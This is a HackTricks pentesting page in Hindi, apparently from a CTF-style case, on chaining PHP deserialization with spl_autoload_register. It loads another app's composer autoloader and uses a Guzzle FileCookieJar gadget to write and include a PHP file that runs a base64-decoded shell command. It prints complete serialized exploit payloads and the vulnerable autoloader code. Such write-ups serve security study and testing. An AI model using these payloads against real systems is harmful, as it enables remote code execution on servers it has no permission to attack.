hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

14 KiB

PHP - Deserialization + Autoload Classes

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

सबसे पहले, आपको यह जांचना चाहिए कि Autoloading Classes क्या हैं।

PHP deserialization + spl_autoload_register + LFI/Gadget

हम एक परिस्थिति में हैं जहां हमने एक PHP deserialization वेबऐप में पाया है जिसमें phpggc के अंदर कोई भी लाइब्रेरी गैजेट्स के लिए असुरक्षित नहीं है। हालांकि, उसी कंटेनर में एक अलग कंपोजर वेबऐप था जिसमें असुरक्षित लाइब्रेरीज थीं। इसलिए, लक्ष्य था दूसरे वेबऐप के कंपोजर लोडर को लोड करना और उसका उपयोग करके एक गैजेट को लोड करना जो उस लाइब्रेरी का उपयोग करके गैजेट के साथ शोषण करेगा जो deserialization के लिए असुरक्षित वेबऐप है।

चरण:

  • आपने एक deserialization पाया है और वर्तमान ऐप कोड में कोई भी गैजेट नहीं है
  • आप spl_autoload_register फंक्शन का उपयोग करके किसी भी स्थानीय फाइल को .php एक्सटेंशन के साथ लोड कर सकते हैं
  • इसके लिए आप एक deserialization का उपयोग करते हैं जहां क्लास का नाम $name के अंदर होगा। आप क्लास नाम में "/" या "." का उपयोग नहीं कर सकते serialized object में, लेकिन कोड underscores ("_") को slashes ("/") से बदल रहा है। इसलिए एक क्लास नाम जैसे tmp_passwd को /tmp/passwd.php में बदल दिया जाएगा और कोड उसे लोड करने की कोशिश करेगा।
    एक गैजेट उदाहरण होगा: O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

{% hint style="success" %} यदि आपके पास फाइल अपलोड है और आप .php एक्सटेंशन वाली फाइल अपलोड कर सकते हैं, तो आप सीधे इस कार्यक्षमता का दुरुपयोग कर सकते हैं और RCE प्राप्त कर सकते हैं। {% endhint %}

मेरे मामले में, ऐसा कुछ नहीं था, लेकिन उसी कंटेनर के अंदर एक और कंपोजर वेब पेज था जिसमें एक phpggc गैजेट के लिए असुरक्षित लाइब्रेरी थी।

  • इस अन्य लाइब्रेरी को लोड करने के लिए, पहले आपको उस अन्य वेब ऐप के कंपोजर लोडर को लोड करना होगा (क्योंकि वर्तमान एप्लिकेशन का वाला दूसरे की लाइब्रेरीज तक पहुँच नहीं सकता।) एप्लिकेशन का पथ जानकर, आप बहुत आसानी से यह कर सकते हैं: O:28:"www_frontend_vendor_autoload":0:{} (मेरे मामले में, कंपोजर लोडर /www/frontend/vendor/autoload.php में था)
  • अब आप दूसरे ऐप के कंपोजर लोडर को लोड कर सकते हैं, इसलिए अब समय है phpggc पेलोड जेनरेट करने का। मेरे मामले में, मैंने Guzzle/FW1 का उपयोग किया, जिसने मुझे फाइल सिस्टम के अंदर कोई भी फाइल लिखने की अनुमति दी
  • ध्यान दें: जेनरेट किया गया गैजेट काम नहीं कर रहा था, इसे काम करने के लिए मैंने phpggc के chain.php पेलोड को संशोधित किया और सभी क्लासेस के एट्रिब्यूट्स को निजी से सार्वजनिक में बदल दिया। अन्यथा, स्ट्रिंग को डिसीरियलाइज करने के बाद, बनाई गई ऑब्जेक्ट्स के एट्रिब्यूट्स में कोई मान नहीं होते थे।
  • अब हमारे पास दूसरे ऐप के कंपोजर लोडर को लोड करने का तरीका है और एक काम करने वाला phpggc पेलोड भी है, लेकिन हमें इसे एक ही अनुरोध में करने की जरूरत है ताकि लोडर गैजेट के इस्तेमाल के समय लोड हो जाए। इसके लिए, मैंने दोनों ऑब्जेक्ट्स के साथ एक सीरियलाइज्ड ऐरे भेजा जैसे:
  • आप देख सकते हैं पहले लोडर लोड हो रहा है और फिर पेलोड

{% code overflow="wrap" %}

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

{% endcode %}

  • अब, हम फाइल बना और लिख सकते हैं, परंतु उपयोगकर्ता वेब सर्वर के अंदर किसी भी फोल्डर में लिख नहीं सकता। इसलिए, जैसा कि आप पेलोड में देख सकते हैं, PHP system को कुछ base64 के साथ कॉल करता है जो /tmp/a.php में बनाया गया है। फिर, हम पहले प्रकार के पेलोड का पुन: उपयोग कर सकते हैं जिसे हमने LFI के रूप में इस्तेमाल किया था ताकि दूसरे वेबऐप के कंपोजर लोडर को लोड कर सकें ताकि उत्पन्न /tmp/a.php फाइल को लोड कर सकें। बस इसे डिसेरियलाइजेशन गैजेट में जोड़ दें:

{% code overflow="wrap" %}

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

{% endcode %}

पेलोड का सारांश

  • एक ही कंटेनर में अलग वेबऐप का कंपोजर ऑटोलोड लोड करें
  • दूसरे वेबऐप की लाइब्रेरी का दुरुपयोग करने के लिए phpggc गैजेट लोड करें (प्रारंभिक वेबऐप जो डिसेरियलाइजेशन के लिए संवेदनशील था, उसकी लाइब्रेरीज में कोई गैजेट नहीं था)
  • गैजेट /tmp/a.php में एक PHP पेलोड वाली फाइल बनाएगा जिसमें दुर्भावनापूर्ण कमांड होंगे (वेबऐप यूजर किसी भी वेबऐप के किसी भी फोल्डर में लिख नहीं सकता)
  • हमारे पेलोड का अंतिम भाग जनरेटेड PHP फाइल को लोड करेगा जो कमांड्स को निष्पादित करेगा

मुझे इस डिसेरियलाइजेशन को दो बार कॉल करने की आवश्यकता थी। मेरे परीक्षण में, पहली बार /tmp/a.php फाइल बनी थी लेकिन लोड नहीं हुई थी, और दूसरी बार यह सही ढंग से लोड हुई थी।

htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से लेकर हीरो तक यहाँ क्लिक करें!

HackTricks का समर्थन करने के अन्य तरीके: